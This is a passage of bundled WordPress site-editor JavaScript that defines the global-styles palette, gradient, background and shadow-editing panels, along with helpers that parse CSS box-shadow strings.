19660 icon: shuffle_default,
19661 onClick: randomizeThemeColors,
19662 children: (0,external_wp_i18n_namespaceObject.__)("Randomize colors")
19663 }
19664 )
19665 ] }),
19666 !!defaultColors && !!defaultColors.length && !!defaultPaletteEnabled && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19667 external_wp_components_namespaceObject.__experimentalPaletteEdit,
19668 {
19669 canReset: defaultColors !== baseDefaultColors,
19670 canOnlyChangeValues: true,
19671 colors: defaultColors,
19672 onChange: setDefaultColors,
19673 paletteLabel: (0,external_wp_i18n_namespaceObject.__)("Default"),
19674 paletteLabelHeadingLevel: 3,
19675 popoverProps
19676 }
19677 ),
19678 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19679 external_wp_components_namespaceObject.__experimentalPaletteEdit,
19680 {
19681 colors: customColors,
19682 onChange: setCustomColors,
19683 paletteLabel: (0,external_wp_i18n_namespaceObject.__)("Custom"),
19684 paletteLabelHeadingLevel: 3,
19685 slugPrefix: "custom-",
19686 popoverProps
19687 }
19688 ),
19689 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ColorVariations, { title: (0,external_wp_i18n_namespaceObject.__)("Palettes") })
19690 ]
19691 }
19692 );
19693}
19694
19695
19696;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/gradients-palette-panel.js
19697
19698
19699
19700
19701
19702
19703
19704const { useGlobalSetting: gradients_palette_panel_useGlobalSetting } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
19705const gradients_palette_panel_mobilePopoverProps = { placement: "bottom-start", offset: 8 };
19706const noop = () => {
19707};
19708function GradientPalettePanel({ name }) {
19709 const [themeGradients, setThemeGradients] = gradients_palette_panel_useGlobalSetting(
19710 "color.gradients.theme",
19711 name
19712 );
19713 const [baseThemeGradients] = gradients_palette_panel_useGlobalSetting(
19714 "color.gradients.theme",
19715 name,
19716 "base"
19717 );
19718 const [defaultGradients, setDefaultGradients] = gradients_palette_panel_useGlobalSetting(
19719 "color.gradients.default",
19720 name
19721 );
19722 const [baseDefaultGradients] = gradients_palette_panel_useGlobalSetting(
19723 "color.gradients.default",
19724 name,
19725 "base"
19726 );
19727 const [customGradients, setCustomGradients] = gradients_palette_panel_useGlobalSetting(
19728 "color.gradients.custom",
19729 name
19730 );
19731 const [defaultPaletteEnabled] = gradients_palette_panel_useGlobalSetting(
19732 "color.defaultGradients",
19733 name
19734 );
19735 const [customDuotone] = gradients_palette_panel_useGlobalSetting("color.duotone.custom") || [];
19736 const [defaultDuotone] = gradients_palette_panel_useGlobalSetting("color.duotone.default") || [];
19737 const [themeDuotone] = gradients_palette_panel_useGlobalSetting("color.duotone.theme") || [];
19738 const [defaultDuotoneEnabled] = gradients_palette_panel_useGlobalSetting(
19739 "color.defaultDuotone"
19740 );
19741 const duotonePalette = [
19742 ...customDuotone || [],
19743 ...themeDuotone || [],
19744 ...defaultDuotone && defaultDuotoneEnabled ? defaultDuotone : []
19745 ];
19746 const isMobileViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)("small", "<");
19747 const popoverProps = isMobileViewport ? gradients_palette_panel_mobilePopoverProps : void 0;
19748 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
19749 external_wp_components_namespaceObject.__experimentalVStack,
19750 {
19751 className: "edit-site-global-styles-gradient-palette-panel",
19752 spacing: 8,
19753 children: [
19754 !!themeGradients && !!themeGradients.length && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19755 external_wp_components_namespaceObject.__experimentalPaletteEdit,
19756 {
19757 canReset: themeGradients !== baseThemeGradients,
19758 canOnlyChangeValues: true,
19759 gradients: themeGradients,
19760 onChange: setThemeGradients,
19761 paletteLabel: (0,external_wp_i18n_namespaceObject.__)("Theme"),
19762 paletteLabelHeadingLevel: 3,
19763 popoverProps
19764 }
19765 ),
19766 !!defaultGradients && !!defaultGradients.length && !!defaultPaletteEnabled && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19767 external_wp_components_namespaceObject.__experimentalPaletteEdit,
19768 {
19769 canReset: defaultGradients !== baseDefaultGradients,
19770 canOnlyChangeValues: true,
19771 gradients: defaultGradients,
19772 onChange: setDefaultGradients,
19773 paletteLabel: (0,external_wp_i18n_namespaceObject.__)("Default"),
19774 paletteLabelLevel: 3,
19775 popoverProps
19776 }
19777 ),
19778 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19779 external_wp_components_namespaceObject.__experimentalPaletteEdit,
19780 {
19781 gradients: customGradients,
19782 onChange: setCustomGradients,
19783 paletteLabel: (0,external_wp_i18n_namespaceObject.__)("Custom"),
19784 paletteLabelLevel: 3,
19785 slugPrefix: "custom-",
19786 popoverProps
19787 }
19788 ),
19789 !!duotonePalette && !!duotonePalette.length && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { children: [
19790 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(subtitle_default, { level: 3, children: (0,external_wp_i18n_namespaceObject.__)("Duotone") }),
19791 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, { margin: 3 }),
19792 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19793 external_wp_components_namespaceObject.DuotonePicker,
19794 {
19795 duotonePalette,
19796 disableCustomDuotone: true,
19797 disableCustomColors: true,
19798 clearable: false,
19799 onChange: noop
19800 }
19801 )
19802 ] })
19803 ]
19804 }
19805 );
19806}
19807
19808
19809;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/screen-color-palette.js
19810
19811
19812
19813
19814
19815
19816
19817const { Tabs: screen_color_palette_Tabs } = unlock(external_wp_components_namespaceObject.privateApis);
19818function ScreenColorPalette({ name }) {
19819 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
19820 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19821 header_default,
19822 {
19823 title: (0,external_wp_i18n_namespaceObject.__)("Edit palette"),
19824 description: (0,external_wp_i18n_namespaceObject.__)(
19825 "The combination of colors used across the site and in color pickers."
19826 )
19827 }
19828 ),
19829 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(screen_color_palette_Tabs, { children: [
19830 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(screen_color_palette_Tabs.TabList, { children: [
19831 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_color_palette_Tabs.Tab, { tabId: "color", children: (0,external_wp_i18n_namespaceObject.__)("Color") }),
19832 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_color_palette_Tabs.Tab, { tabId: "gradient", children: (0,external_wp_i18n_namespaceObject.__)("Gradient") })
19833 ] }),
19834 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_color_palette_Tabs.TabPanel, { tabId: "color", focusable: false, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ColorPalettePanel, { name }) }),
19835 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_color_palette_Tabs.TabPanel, { tabId: "gradient", focusable: false, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(GradientPalettePanel, { name }) })
19836 ] })
19837 ] });
19838}
19839var screen_color_palette_default = ScreenColorPalette;
19840
19841
19842;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/background-panel.js
19843
19844
19845
19846const BACKGROUND_DEFAULT_VALUES = {
19847 backgroundSize: "auto"
19848};
19849const {
19850 useGlobalStyle: background_panel_useGlobalStyle,
19851 useGlobalSetting: background_panel_useGlobalSetting,
19852 BackgroundPanel: background_panel_StylesBackgroundPanel
19853} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
19854function hasBackgroundImageValue(style) {
19855 return !!style?.background?.backgroundImage?.id || !!style?.background?.backgroundImage?.url || typeof style?.background?.backgroundImage === "string";
19856}
19857function BackgroundPanel() {
19858 const [style] = background_panel_useGlobalStyle("", void 0, "user", {
19859 shouldDecodeEncode: false
19860 });
19861 const [inheritedStyle, setStyle] = background_panel_useGlobalStyle("", void 0, "all", {
19862 shouldDecodeEncode: false
19863 });
19864 const [settings] = background_panel_useGlobalSetting("");
19865 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19866 background_panel_StylesBackgroundPanel,
19867 {
19868 inheritedValue: inheritedStyle,
19869 value: style,
19870 onChange: setStyle,
19871 settings,
19872 defaultValues: BACKGROUND_DEFAULT_VALUES
19873 }
19874 );
19875}
19876
19877
19878;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/screen-background.js
19879
19880
19881
19882
19883
19884
19885
19886const { useHasBackgroundPanel: screen_background_useHasBackgroundPanel, useGlobalSetting: screen_background_useGlobalSetting } = unlock(
19887 external_wp_blockEditor_namespaceObject.privateApis
19888);
19889function ScreenBackground() {
19890 const [settings] = screen_background_useGlobalSetting("");
19891 const hasBackgroundPanel = screen_background_useHasBackgroundPanel(settings);
19892 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
19893 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19894 header_default,
19895 {
19896 title: (0,external_wp_i18n_namespaceObject.__)("Background"),
19897 description: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, { children: (0,external_wp_i18n_namespaceObject.__)("Set styles for the site\u2019s background.") })
19898 }
19899 ),
19900 hasBackgroundPanel && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(BackgroundPanel, {})
19901 ] });
19902}
19903var screen_background_default = ScreenBackground;
19904
19905
19906;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/confirm-reset-shadow-dialog.js
19907
19908
19909
19910function ConfirmResetShadowDialog({
19911 text,
19912 confirmButtonText,
19913 isOpen,
19914 toggleOpen,
19915 onConfirm
19916}) {
19917 const handleConfirm = async () => {
19918 toggleOpen();
19919 onConfirm();
19920 };
19921 const handleCancel = () => {
19922 toggleOpen();
19923 };
19924 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19925 external_wp_components_namespaceObject.__experimentalConfirmDialog,
19926 {
19927 isOpen,
19928 cancelButtonText: (0,external_wp_i18n_namespaceObject.__)("Cancel"),
19929 confirmButtonText,
19930 onCancel: handleCancel,
19931 onConfirm: handleConfirm,
19932 size: "medium",
19933 children: text
19934 }
19935 );
19936}
19937var confirm_reset_shadow_dialog_default = ConfirmResetShadowDialog;
19938
19939
19940;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/shadows-panel.js
19941
19942
19943
19944
19945
19946
19947
19948
19949
19950
19951
19952
19953const { useGlobalSetting: shadows_panel_useGlobalSetting } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
19954const { Menu: shadows_panel_Menu } = unlock(external_wp_components_namespaceObject.privateApis);
19955const defaultShadow = "6px 6px 9px rgba(0, 0, 0, 0.2)";
19956function ShadowsPanel() {
19957 const [defaultShadows] = shadows_panel_useGlobalSetting("shadow.presets.default");
19958 const [defaultShadowsEnabled] = shadows_panel_useGlobalSetting(
19959 "shadow.defaultPresets"
19960 );
19961 const [themeShadows] = shadows_panel_useGlobalSetting("shadow.presets.theme");
19962 const [customShadows, setCustomShadows] = shadows_panel_useGlobalSetting(
19963 "shadow.presets.custom"
19964 );
19965 const onCreateShadow = (shadow) => {
19966 setCustomShadows([...customShadows || [], shadow]);
19967 };
19968 const handleResetShadows = () => {
19969 setCustomShadows([]);
19970 };
19971 const [isResetDialogOpen, setIsResetDialogOpen] = (0,external_wp_element_.useState)(false);
19972 const toggleResetDialog = () => setIsResetDialogOpen(!isResetDialogOpen);
19973 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
19974 isResetDialogOpen && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19975 confirm_reset_shadow_dialog_default,
19976 {
19977 text: (0,external_wp_i18n_namespaceObject.__)(
19978 "Are you sure you want to remove all custom shadows?"
19979 ),
19980 confirmButtonText: (0,external_wp_i18n_namespaceObject.__)("Remove"),
19981 isOpen: isResetDialogOpen,
19982 toggleOpen: toggleResetDialog,
19983 onConfirm: handleResetShadows
19984 }
19985 ),
19986 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19987 header_default,
19988 {
19989 title: (0,external_wp_i18n_namespaceObject.__)("Shadows"),
19990 description: (0,external_wp_i18n_namespaceObject.__)(
19991 "Manage and create shadow styles for use across the site."
19992 )
19993 }
19994 ),
19995 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "edit-site-global-styles-screen", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
19996 external_wp_components_namespaceObject.__experimentalVStack,
19997 {
19998 className: "edit-site-global-styles__shadows-panel",
19999 spacing: 7,
20000 children: [
20001 defaultShadowsEnabled && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20002 ShadowList,
20003 {
20004 label: (0,external_wp_i18n_namespaceObject.__)("Default"),
20005 shadows: defaultShadows || [],
20006 category: "default"
20007 }
20008 ),
20009 themeShadows && themeShadows.length > 0 && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20010 ShadowList,
20011 {
20012 label: (0,external_wp_i18n_namespaceObject.__)("Theme"),
20013 shadows: themeShadows || [],
20014 category: "theme"
20015 }
20016 ),
20017 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20018 ShadowList,
20019 {
20020 label: (0,external_wp_i18n_namespaceObject.__)("Custom"),
20021 shadows: customShadows || [],
20022 category: "custom",
20023 canCreate: true,
20024 onCreate: onCreateShadow,
20025 onReset: toggleResetDialog
20026 }
20027 )
20028 ]
20029 }
20030 ) })
20031 ] });
20032}
20033function ShadowList({
20034 label,
20035 shadows,
20036 category,
20037 canCreate,
20038 onCreate,
20039 onReset
20040}) {
20041 const handleAddShadow = () => {
20042 const newIndex = getNewIndexFromPresets(shadows, "shadow-");
20043 onCreate({
20044 name: (0,external_wp_i18n_namespaceObject.sprintf)(
20045 /* translators: %s: is an index for a preset */
20046 (0,external_wp_i18n_namespaceObject.__)("Shadow %s"),
20047 newIndex
20048 ),
20049 shadow: defaultShadow,
20050 slug: `shadow-${newIndex}`
20051 });
20052 };
20053 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 2, children: [
20054 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { justify: "space-between", children: [
20055 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(subtitle_default, { level: 3, children: label }),
20056 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.FlexItem, { className: "edit-site-global-styles__shadows-panel__options-container", children: [
20057 canCreate && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20058 external_wp_components_namespaceObject.Button,
20059 {
20060 size: "small",
20061 icon: plus_default,
20062 label: (0,external_wp_i18n_namespaceObject.__)("Add shadow"),
20063 onClick: () => {
20064 handleAddShadow();
20065 }
20066 }
20067 ),
20068 !!shadows?.length && category === "custom" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(shadows_panel_Menu, { children: [
20069 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20070 shadows_panel_Menu.TriggerButton,
20071 {
20072 render: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20073 external_wp_components_namespaceObject.Button,
20074 {
20075 size: "small",
20076 icon: more_vertical_default,
20077 label: (0,external_wp_i18n_namespaceObject.__)("Shadow options")
20078 }
20079 )
20080 }
20081 ),
20082 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(shadows_panel_Menu.Popover, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(shadows_panel_Menu.Item, { onClick: onReset, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(shadows_panel_Menu.ItemLabel, { children: (0,external_wp_i18n_namespaceObject.__)("Remove all custom shadows") }) }) })
20083 ] })
20084 ] })
20085 ] }),
20086 shadows.length > 0 && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalItemGroup, { isBordered: true, isSeparated: true, children: shadows.map((shadow) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20087 ShadowItem,
20088 {
20089 shadow,
20090 category
20091 },
20092 shadow.slug
20093 )) })
20094 ] });
20095}
20096function ShadowItem({ shadow, category }) {
20097 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20098 NavigationButtonAsItem,
20099 {
20100 path: `/shadows/edit/${category}/${shadow.slug}`,
20101 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { children: [
20102 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { children: shadow.name }),
20103 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(icon_default, { icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_left_default : chevron_right_default })
20104 ] })
20105 }
20106 );
20107}
20108
20109
20110;// ./node_modules/@wordpress/icons/build-module/library/reset.js
20111
20112
20113var reset_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M7 11.5h10V13H7z" }) });
20114
20115
20116;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/shadow-utils.js
20117const CUSTOM_VALUE_SETTINGS = {
20118 px: { max: 20, step: 1 },
20119 "%": { max: 100, step: 1 },
20120 vw: { max: 100, step: 1 },
20121 vh: { max: 100, step: 1 },
20122 em: { max: 10, step: 0.1 },
20123 rm: { max: 10, step: 0.1 },
20124 svw: { max: 100, step: 1 },
20125 lvw: { max: 100, step: 1 },
20126 dvw: { max: 100, step: 1 },
20127 svh: { max: 100, step: 1 },
20128 lvh: { max: 100, step: 1 },
20129 dvh: { max: 100, step: 1 },
20130 vi: { max: 100, step: 1 },
20131 svi: { max: 100, step: 1 },
20132 lvi: { max: 100, step: 1 },
20133 dvi: { max: 100, step: 1 },
20134 vb: { max: 100, step: 1 },
20135 svb: { max: 100, step: 1 },
20136 lvb: { max: 100, step: 1 },
20137 dvb: { max: 100, step: 1 },
20138 vmin: { max: 100, step: 1 },
20139 svmin: { max: 100, step: 1 },
20140 lvmin: { max: 100, step: 1 },
20141 dvmin: { max: 100, step: 1 },
20142 vmax: { max: 100, step: 1 },
20143 svmax: { max: 100, step: 1 },
20144 lvmax: { max: 100, step: 1 },
20145 dvmax: { max: 100, step: 1 }
20146};
20147function getShadowParts(shadow) {
20148 const shadowValues = shadow.match(/(?:[^,(]|\([^)]*\))+/g) || [];
20149 return shadowValues.map((value) => value.trim());
20150}
20151function shadowStringToObject(shadowValue) {
20152 const defaultShadow = {
20153 x: "0",
20154 y: "0",
20155 blur: "0",
20156 spread: "0",
20157 color: "#000",
20158 inset: false
20159 };
20160 if (!shadowValue) {
20161 return defaultShadow;
20162 }
20163 if (shadowValue.includes("none")) {
20164 return defaultShadow;
20165 }
20166 const lengthsRegex = /((?:^|\s+)(-?\d*\.?\d+(?:px|%|in|cm|mm|em|rem|ex|pt|pc|vh|vw|vmin|vmax|ch|lh)?)(?=\s|$)(?![^(]*\))){1,4}/g;
20167 const matches = shadowValue.match(lengthsRegex) || [];
20168 if (matches.length !== 1) {
20169 return defaultShadow;
20170 }
20171 const lengths = matches[0].split(" ").map((value) => value.trim()).filter((value) => value);
20172 if (lengths.length < 2) {
20173 return defaultShadow;
20174 }
20175 const insets = shadowValue.match(/inset/gi) || [];
20176 if (insets.length > 1) {
20177 return defaultShadow;
20178 }
20179 const hasInset = insets.length === 1;
20180 let colorString = shadowValue.replace(lengthsRegex, "").trim();
20181 if (hasInset) {
20182 colorString = colorString.replace("inset", "").replace("INSET", "").trim();
20183 }
20184 const colorRegex = /^#([0-9a-f]{3}){1,2}$|^#([0-9a-f]{4}){1,2}$|^(?:rgb|hsl)a?\(?[\d*\.?\d+%?,?\/?\s]*\)$/gi;
20185 let colorMatches = (colorString.match(colorRegex) || []).map((value) => value?.trim()).filter((value) => value);
20186 if (colorMatches.length > 1) {
20187 return defaultShadow;
20188 } else if (colorMatches.length === 0) {
20189 colorMatches = colorString.trim().split(" ").filter((value) => value);
20190 if (colorMatches.length > 1) {
20191 return defaultShadow;
20192 }
20193 }
20194 const [x, y, blur, spread] = lengths;
20195 return {
20196 x,
20197 y,
20198 blur: blur || defaultShadow.blur,
20199 spread: spread || defaultShadow.spread,
20200 inset: hasInset,
20201 color: colorString || defaultShadow.color
20202 };
20203}
20204function shadowObjectToString(shadowObj) {
20205 const shadowString = `${shadowObj.x || "0px"} ${shadowObj.y || "0px"} ${shadowObj.blur || "0px"} ${shadowObj.spread || "0px"}`;
20206 return `${shadowObj.inset ? "inset" : ""} ${shadowString} ${shadowObj.color || ""}`.trim();
20207}
20208
20209
20210;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/shadows-edit-panel.js
20211
20212
20213
20214
20215
20216
20217
20218
20219
20220
20221
20222
20223const { useGlobalSetting: shadows_edit_panel_useGlobalSetting } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
20224const { Menu: shadows_edit_panel_Menu } = unlock(external_wp_components_namespaceObject.privateApis);
20225const customShadowMenuItems = [
20226 {
20227 label: (0,external_wp_i18n_namespaceObject.__)("Rename"),
20228 action: "rename"
20229 },
20230 {
20231 label: (0,external_wp_i18n_namespaceObject.__)("Delete"),
20232 action: "delete"
20233 }
20234];
20235const presetShadowMenuItems = [
20236 {
20237 label: (0,external_wp_i18n_namespaceObject.__)("Reset"),
20238 action: "reset"
20239 }
20240];
20241function ShadowsEditPanel() {
20242 const {
20243 goBack,
20244 params: { category, slug }
20245 } = (0,external_wp_components_namespaceObject.useNavigator)();
20246 const [shadows, setShadows] = shadows_edit_panel_useGlobalSetting(
20247 `shadow.presets.${category}`
20248 );
20249 (0,external_wp_element_.useEffect)(() => {
20250 const hasCurrentShadow = shadows?.some(
20251 (shadow) => shadow.slug === slug
20252 );
20253 if (!!slug && !hasCurrentShadow) {
20254 goBack();
20255 }
20256 }, [shadows, slug, goBack]);
20257 const [baseShadows] = shadows_edit_panel_useGlobalSetting(
20258 `shadow.presets.${category}`,
20259 void 0,
20260 "base"
20261 );
20262 const [selectedShadow, setSelectedShadow] = (0,external_wp_element_.useState)(
20263 () => (shadows || []).find((shadow) => shadow.slug === slug)
20264 );
20265 const baseSelectedShadow = (0,external_wp_element_.useMemo)(
20266 () => (baseShadows || []).find((b) => b.slug === slug),
20267 [baseShadows, slug]
20268 );
20269 const [isConfirmDialogVisible, setIsConfirmDialogVisible] = (0,external_wp_element_.useState)(false);
20270 const [isRenameModalVisible, setIsRenameModalVisible] = (0,external_wp_element_.useState)(false);
20271 const [shadowName, setShadowName] = (0,external_wp_element_.useState)(selectedShadow.name);
20272 if (!category || !slug) {
20273 return null;
20274 }
20275 const onShadowChange = (shadow) => {
20276 setSelectedShadow({ ...selectedShadow, shadow });
20277 const updatedShadows = shadows.map(
20278 (s) => s.slug === slug ? { ...selectedShadow, shadow } : s
20279 );
20280 setShadows(updatedShadows);
20281 };
20282 const onMenuClick = (action) => {
20283 if (action === "reset") {
20284 const updatedShadows = shadows.map(
20285 (s) => s.slug === slug ? baseSelectedShadow : s
20286 );
20287 setSelectedShadow(baseSelectedShadow);
20288 setShadows(updatedShadows);
20289 } else if (action === "delete") {
20290 setIsConfirmDialogVisible(true);
20291 } else if (action === "rename") {
20292 setIsRenameModalVisible(true);
20293 }
20294 };
20295 const handleShadowDelete = () => {
20296 setShadows(shadows.filter((s) => s.slug !== slug));
20297 };
20298 const handleShadowRename = (newName) => {
20299 if (!newName) {
20300 return;
20301 }
20302 const updatedShadows = shadows.map(
20303 (s) => s.slug === slug ? { ...selectedShadow, name: newName } : s
20304 );
20305 setSelectedShadow({ ...selectedShadow, name: newName });
20306 setShadows(updatedShadows);
20307 };
20308 return !selectedShadow ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(header_default, { title: "" }) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
20309 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { justify: "space-between", children: [
20310 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(header_default, { title: selectedShadow.name }),
20311 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, { marginTop: 2, marginBottom: 0, paddingX: 4, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(shadows_edit_panel_Menu, { children: [
20312 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20313 shadows_edit_panel_Menu.TriggerButton,
20314 {
20315 render: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20316 external_wp_components_namespaceObject.Button,
20317 {
20318 size: "small",
20319 icon: more_vertical_default,
20320 label: (0,external_wp_i18n_namespaceObject.__)("Menu")
20321 }
20322 )
20323 }
20324 ),
20325 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(shadows_edit_panel_Menu.Popover, { children: (category === "custom" ? customShadowMenuItems : presetShadowMenuItems).map((item) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20326 shadows_edit_panel_Menu.Item,
20327 {
20328 onClick: () => onMenuClick(item.action),
20329 disabled: item.action === "reset" && selectedShadow.shadow === baseSelectedShadow.shadow,
20330 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(shadows_edit_panel_Menu.ItemLabel, { children: item.label })
20331 },
20332 item.action
20333 )) })
20334 ] }) }) })
20335 ] }),
20336 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "edit-site-global-styles-screen", children: [
20337 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ShadowsPreview, { shadow: selectedShadow.shadow }),
20338 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20339 ShadowEditor,
20340 {
20341 shadow: selectedShadow.shadow,
20342 onChange: onShadowChange
20343 }
20344 )
20345 ] }),
20346 isConfirmDialogVisible && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20347 external_wp_components_namespaceObject.__experimentalConfirmDialog,
20348 {
20349 isOpen: true,
20350 onConfirm: () => {
20351 handleShadowDelete();
20352 setIsConfirmDialogVisible(false);
20353 },
20354 onCancel: () => {
20355 setIsConfirmDialogVisible(false);
20356 },
20357 confirmButtonText: (0,external_wp_i18n_namespaceObject.__)("Delete"),
20358 size: "medium",
20359 children: (0,external_wp_i18n_namespaceObject.sprintf)(
20360 /* translators: %s: Name of the shadow preset. */
20361 (0,external_wp_i18n_namespaceObject.__)(
20362 'Are you sure you want to delete "%s" shadow preset?'
20363 ),
20364 selectedShadow.name
20365 )
20366 }
20367 ),
20368 isRenameModalVisible && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20369 external_wp_components_namespaceObject.Modal,
20370 {
20371 title: (0,external_wp_i18n_namespaceObject.__)("Rename"),
20372 onRequestClose: () => setIsRenameModalVisible(false),
20373 size: "small",
20374 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
20375 "form",
20376 {
20377 onSubmit: (event) => {
20378 event.preventDefault();
20379 handleShadowRename(shadowName);
20380 setIsRenameModalVisible(false);
20381 },
20382 children: [
20383 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20384 external_wp_components_namespaceObject.__experimentalInputControl,
20385 {
20386 __next40pxDefaultSize: true,
20387 autoComplete: "off",
20388 label: (0,external_wp_i18n_namespaceObject.__)("Name"),
20389 placeholder: (0,external_wp_i18n_namespaceObject.__)("Shadow name"),
20390 value: shadowName,
20391 onChange: (value) => setShadowName(value)
20392 }
20393 ),
20394 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, { marginBottom: 6 }),
20395 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
